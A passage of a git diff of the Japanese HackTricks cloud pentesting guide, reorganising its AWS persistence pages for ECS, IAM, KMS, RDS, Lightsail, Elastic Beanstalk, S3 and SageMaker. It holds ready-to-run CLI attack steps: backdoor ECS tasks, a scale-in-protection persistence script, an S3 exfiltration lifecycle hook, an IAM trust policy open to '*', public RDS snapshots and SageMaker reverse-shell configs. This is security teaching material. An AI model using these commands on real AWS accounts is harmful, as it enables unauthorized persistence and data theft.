+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
-# AWS - ECS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### 隠れた定期ECSタスク
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、Amazon EventBridgeを使用して**悪意のあるタスクの実行を定期的にスケジュールする**隠れた定期ECSタスクを作成できます。このタスクは、偵察を行ったり、データを抽出したり、AWSアカウント内での持続性を維持したりすることができます。
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### 既存のECSタスク定義におけるバックドアコンテナ
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### 文書化されていないECSサービス
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Test
+
+攻撃者は Amazon EventBridge を使って hidden periodic ECS task を作成し、**malicious task を定期的に実行するようスケジュール**できます。 このタスクは reconnaissance を行ったり、exfiltrate data を行ったり、AWS アカウント内で persistence を維持したりすることができます。
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Test
+
+攻撃者は、既存の ECS task definition に正規のコンテナと並行して動作する **stealthy backdoor container** を追加できます。 その backdoor container は persistence や悪意のある活動の実行に利用できます。
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### 未文書化の ECS Service
+
+> [!NOTE]
+> TODO: テスト
+
+攻撃者は悪意のあるタスクを実行する**未文書化の ECS service**を作成できます。タスクの希望数を最小に設定し、ログを無効化することで、管理者が悪意のあるサービスに気づきにくくなります。
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+ecs:UpdateTaskProtection を悪用して、service tasks が scale‑in events や rolling deployments によって停止されるのを防ぎます。保護を継続的に延長することで、攻撃者は長期間稼働するタスクを維持できます（C2 やデータ収集用）。防御側が desiredCount を減らしたり新しい task revisions をプッシュしても、タスクを実行し続けられます。
+
+Steps to reproduce in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+影響: 保護されたタスクは desiredCount=0 にもかかわらず RUNNING のままとなり、新しいデプロイ時の置き換えをブロックして ECSサービス内でステルス性の高い長期的な永続化を可能にします。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### リソースポリシー / セキュリティグループの変更
-
-**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
-
-### アクセスポイントの作成
-
-**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な（`/`へのルートアクセスを持つ）アクセスポイントを作成できます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Resource Policy / Security Groups の変更
+
+**resource policy and/or security groups** を変更することで、ファイルシステムへのアクセスを持続させることを試みることができます。
+
+### Access Point の作成
+
+ファイルシステムへの特権アクセスを維持するために、**other persistence** を実装しているサービスからアクセスできる、`/` に対する root access を持つ **create an access point** を作成することができます。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -1,35 +1,35 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Elastic Beanstalk 永続化
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-詳細については、以下を確認してください：
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### インスタンス内の永続性
+### インスタンス内での永続化
 
-AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
+AWSアカウント内で永続化を維持するために、インスタンス内に何らかの**永続化メカニズムを導入することがあります**（cron job, ssh key...）。これにより攻撃者はインスタンスにアクセスして、IAM role **credentials from the metadata service**を盗むことが可能になります。
 
-### バックドアのあるバージョン
+### Backdoor in Version
 
-攻撃者はS3リポジトリ内のコードにバックドアを仕掛け、常にそのバックドアと期待されるコードを実行させることができます。
+攻撃者はS3リポジトリ内のコードにbackdoorを仕込み、常にそのbackdoorと期待されるコードの両方を実行させることができます。
 
-### 新しいバックドア付きバージョン
+### New backdoored version
 
-実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいバックドア付きバージョンをデプロイすることができます。
+実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいbackdoored versionをデプロイすることができます。
 
-### カスタムリソースライフサイクルフックの悪用
+### Abusing Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: テスト
+> TODO: Test
 
-Elastic Beanstalkは、インスタンスのプロビジョニングおよび終了中にカスタムスクリプトを実行するためのライフサイクルフックを提供します。攻撃者は、**データを外部に送信したりAWSアカウントへのアクセスを維持するスクリプトを定期的に実行するようにライフサイクルフックを構成することができます**。
+Elastic Beanstalkは、インスタンスのプロビジョニングや終了時にカスタムスクリプトを実行できるlifecycle hooksを提供します。攻撃者は**lifecycle hookを設定して、定期的にスクリプトを実行し、データをexfiltrateしたり、AWS accountへのアクセスを維持したりする**ことができます。
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-詳細情報は以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### 一般的なIAM持続性
-
-- ユーザーを作成する
-- 制御されたユーザーを特権グループに追加する
-- アクセスキーを作成する（新しいユーザーまたはすべてのユーザーの）
-- 制御されたユーザー/グループに追加の権限を付与する（アタッチされたポリシーまたはインラインポリシー）
-- MFAを無効にする / 自分のMFAデバイスを追加する
-- ロールチェーンジャグリングの状況を作成する（この後のSTS持続性で詳しく説明します）
-
-### バックドアロール信頼ポリシー
-
-信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます（または誰にでも）：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### バックドアポリシーのバージョン
-
-最後のバージョンではなく、ポリシーに管理者権限を付与します（最後のバージョンは正当なものに見えるべきです）。その後、そのバージョンのポリシーを制御されたユーザー/グループに割り当てます。
-
-### バックドア / アイデンティティプロバイダーの作成
-
-アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+詳細については以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### 一般的な IAM Persistence
+
+- ユーザーを作成する
+- 自分が管理するユーザーを特権グループに追加する
+- アクセスキーを作成する（新しいユーザーの、またはすべてのユーザーの）
+- 制御下のユーザー/グループに追加の権限を付与する（attached policies または inline policies）
+- MFA を無効化する / 自分の MFA デバイスを追加する
+- Role Chain Juggling の状況を作り出す（詳しくは下の STS persistence を参照）
+
+### Backdoor Role Trust Policies
+
+You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### バックドアポリシーのバージョン
+
+最新ではないバージョンのポリシーに管理者権限を付与し（最新バージョンは正規に見えるようにする）、そのポリシーの当該バージョンをコントロール下のユーザー／グループに割り当てる。
+
+### バックドア / アイデンティティプロバイダーの作成
+
+アカウントが既に一般的なアイデンティティプロバイダー（例えば Github）を信頼している場合、信頼の条件を拡大・緩和して攻撃者がそれを悪用できるようにすることが可能である。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### KMSポリシーを介してアクセスを付与
-
-攻撃者は、**`kms:PutKeyPolicy`** 権限を使用して、制御下のユーザーまたは外部アカウントにキーへの**アクセスを付与**することができます。詳細については、[**KMS Privescページ**](../aws-privilege-escalation/aws-kms-privesc.md)を確認してください。
-
-### 永続的な付与
-
-付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものも含む）を持つことができます。
-
-したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
-
-（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています）
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> グラントは、次のリンクからのみ権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### KMSポリシーを介したアクセス付与
+
+攻撃者は権限 **`kms:PutKeyPolicy`** を使って、自分が制御するユーザーや外部アカウントに対してキーへのアクセスを**付与**することができます。詳細は [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) を確認してください。
+
+### 永続的なGrant
+
+Grantは、principal に対して特定のキーに関する権限を与える別の方法です。ユーザーがgrantを作成できるようにするgrantを付与することも可能です。さらに、あるユーザーは同じキーに対して複数のgrant（同一のものも含めて）を持つことができます。
+
+そのため、あるユーザーが全ての権限を持つ10個のgrantを持つことが可能です。攻撃者はこれを常に監視するべきです。そしてもしある時点で1つのgrantが削除されたら、別の10個を生成すべきです。
+
+（ユーザーがまだいくつかのgrantを持っている間にgrantが削除されたことを検知できるよう、2ではなく10を使用しています）
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> grant は以下の操作のみについて権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### インスタンスのSSHキーとDBパスワードのダウンロード
-
-おそらく変更されないので、持っているだけで持続性のための良いオプションです。
-
-### バックドアインスタンス
-
-攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
-
-- 例えば、従来の**rootkit**を使用する
-- 新しい**公開SSHキー**を追加する
-- バックドアを持つポートノッキングでポートを公開する
-
-### DNS持続性
-
-ドメインが設定されている場合：
-
-- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
-- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
-- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### インスタンスの SSH keys と DB passwords をダウンロード
+
+それらはおそらく変更されないため、保持しておくことは persistence の良い方法です。
+
+### Backdoor Instances
+
+攻撃者はインスタンスにアクセスして backdoor を仕掛けることができます:
+
+- 例えば、従来の **rootkit** を使用する
+- 新しい **public SSH key** を追加する
+- port knocking を使ってポートを公開し、backdoor を仕込む
+
+### DNS persistence
+
+ドメインが設定されている場合:
+
+- 自分のIPを指すサブドメインを作成し、**subdomain takeover** を実現する
+- ドメインから **emails** を送信できるようにする **SPF** レコードを作成する
+- **main domain IP to your own one** を設定し、自分のIPから正規のものへ **MitM** を実行する
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -1,27 +1,27 @@
 # AWS - RDS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-詳細については、次を確認してください：
+詳細は以下を参照:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
-### インスタンスを公開アクセス可能にする: `rds:ModifyDBInstance`
+### インスタンスをパブリックに公開する: `rds:ModifyDBInstance`
 
-この権限を持つ攻撃者は、**既存のRDSインスタンスを変更して公開アクセスを有効にすることができます**。
+この権限を持つ攻撃者は **既存の RDS インスタンスを変更して公開アクセスを有効にすることができます**。
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
 ### DB内に管理者ユーザーを作成する
 
-攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+攻撃者は単に**DB内にユーザーを作成する**ことで、マスターユーザーのパスワードが変更されてもデータベースへのアクセスを**失わない**。
 
 ### スナップショットを公開する
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS クライアントサイド暗号化
-
-暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します（`aws kms generate-data-key`）そして、**生成された暗号化キーをファイルのメタデータ内に保存します**（[python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号化が行われるときに再度 KMS を使用して復号化できます：
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-したがって、攻撃者はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
-
-### S3 ACL の使用
-
-通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます（有効な場合や攻撃者がそれらを有効にできる場合）ので、S3 バケットへのアクセスを維持できます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS クライアント側暗号化
+
+暗号化プロセスが完了すると、ユーザは KMS API を使って新しいキーを生成します（`aws kms generate-data-key`）そして**生成した暗号化キーをファイルのメタデータに保存します**（[python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)）ので、復号時に KMS を使って再度復号できます:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+したがって、attacker はメタデータからこのキーを取得し、KMS（`aws kms decrypt`）で復号して、情報を暗号化するために使用されたキーを入手する可能性があります。こうして attacker は暗号化キーを手に入れ、そのキーが他のファイルの暗号化に再利用されていれば、それらの復号にも使用できるようになります。
+
+### S3 ACLs の利用
+
+通常、バケットの ACLs は無効になっていることが多いですが、十分な権限を持つ attacker はそれらを悪用し（有効化されている場合、または attacker が有効化できる場合）、S3 bucket へのアクセスを維持することができます。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Persistence Techniquesの概要
-
-このセクションでは、Lifecycle Configurations (LCCs)を悪用してSageMakerで永続性を得る方法について説明します。これには、リバースシェル、cronジョブ、IMDSを介した資格情報の盗難、SSHバックドアが含まれます。これらのスクリプトはインスタンスのIAMロールで実行され、再起動を超えて永続化することができます。ほとんどの技術はアウトバウンドネットワークアクセスを必要としますが、AWSコントロールプレーン上のサービスを使用することで、環境が「VPCのみ」モードであっても成功する可能性があります。
-#### 注意: SageMakerノートブックインスタンスは、機械学習ワークロード専用に構成された管理されたEC2インスタンスです。
-
-## 必要な権限
-* ノートブックインスタンス:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* スタジオアプリケーション:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## ノートブックインスタンスのライフサイクル設定
-
-### AWS CLIコマンドの例:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## SageMaker Studioでライフサイクル構成を設定する
-
-ライフサイクル構成は、SageMaker Studio内のさまざまなレベルおよび異なるアプリタイプに添付できます。
-
-### スタジオドメインレベル（すべてのユーザー）
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### スタジオスペースレベル（個別または共有スペース）
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## スタジオアプリケーションライフサイクル構成の種類
-
-ライフサイクル構成は、異なるSageMaker Studioアプリケーションタイプに特に適用できます：
-* JupyterServer: Jupyterサーバーの起動時にスクリプトを実行し、リバースシェルやcronジョブのような永続メカニズムに最適です。
-* KernelGateway: カーネルゲートウェイアプリの起動時に実行され、初期設定や永続的なアクセスに役立ちます。
-* CodeEditor: コードエディタ（Code-OSS）に適用され、コード編集セッションの開始時に実行されるスクリプトを有効にします。
-
-### 各タイプの例コマンド:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### 重要な情報:
-* ドメインまたはスペースレベルでLCCをアタッチすると、範囲内のすべてのユーザーまたはアプリケーションに影響を与えます。
-* より高い権限が必要です（sagemaker:UpdateDomain、sagemaker:UpdateSpace）、通常はドメインレベルよりもスペースレベルで実行可能です。
-* ネットワークレベルの制御（例：厳格な出口フィルタリング）は、成功したリバースシェルやデータの流出を防ぐことができます。
-
-## ライフサイクル構成を介したリバースシェル
-
